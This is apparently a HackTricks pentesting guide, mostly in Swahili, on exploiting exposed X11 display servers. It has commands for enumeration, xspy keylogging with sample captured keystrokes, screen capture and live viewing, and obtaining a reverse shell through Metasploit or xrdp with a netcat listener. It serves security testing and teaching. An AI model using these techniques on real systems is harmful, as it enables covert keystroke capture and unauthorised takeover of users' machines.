6000 - Pentesting X11

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

X Window System (X) ni mfumo wa dirisha unaotumika sana kwenye mifumo ya uendeshaji inayotegemea UNIX. Inatoa muundo wa kuunda interfaces za mtumiaji za picha (GUIs), ambapo programu binafsi zinashughulikia muundo wa interface ya mtumiaji. Uwezo huu unaruhusu uzoefu tofauti na wa kubadilika ndani ya mazingira ya X.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Angalia kwa muunganisho wa siri:

bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

Faili .Xauthority katika folda ya nyumbani ya mtumiaji inatumiwa na X11 kwa ajili ya idhini. Kutoka hapa:

bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Kutengeneza funguo ya 128bit (“cookie”), kuihifadhi katika ~/.Xauthority (au mahali ambapo XAUTHORITY envvar inaelekeza). Mteja anaituma kwa seva bila kuficha! seva inakagua ikiwa ina nakala ya “cookie” hii na ikiwa ndivyo, muunganisho unaruhusiwa. funguo inatengenezwa na DMX.

warning

Ili kutumia cookie unapaswa kuweka env var: export XAUTHORITY=/path/to/.Xauthority

Kikao cha Uainishaji wa Mitaa

bash
$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Katika mfano, localhost:0 ilikuwa inafanya kazi xfce4-session.

Thibitisha Muunganisho

bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy ili kunasa funguo za kibodi.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Kupiga picha za skrini

bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Njia kutoka: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Kwanza tunahitaji kupata ID ya dirisha kwa kutumia xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Kwa kuangalia moja kwa moja tunahitaji kutumia

bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Pata Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Reverse Shell: Xrdp pia inaruhusu kuchukua reverse shell kupitia Netcat. Andika amri ifuatayo:

bash
./xrdp.py \<IP:0> –no-disp

Katika kiolesura unaweza kuona chaguo la R-shell.

Kisha, anzisha Netcat listener katika mfumo wako wa ndani kwenye bandari 5555.

bash
nc -lvp 5555

Kisha, weka anwani yako ya IP na bandari katika chaguo la R-Shell na bonyeza R-shell ili kupata shell

Marejeo

Shodan

  • port:6000 x11

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks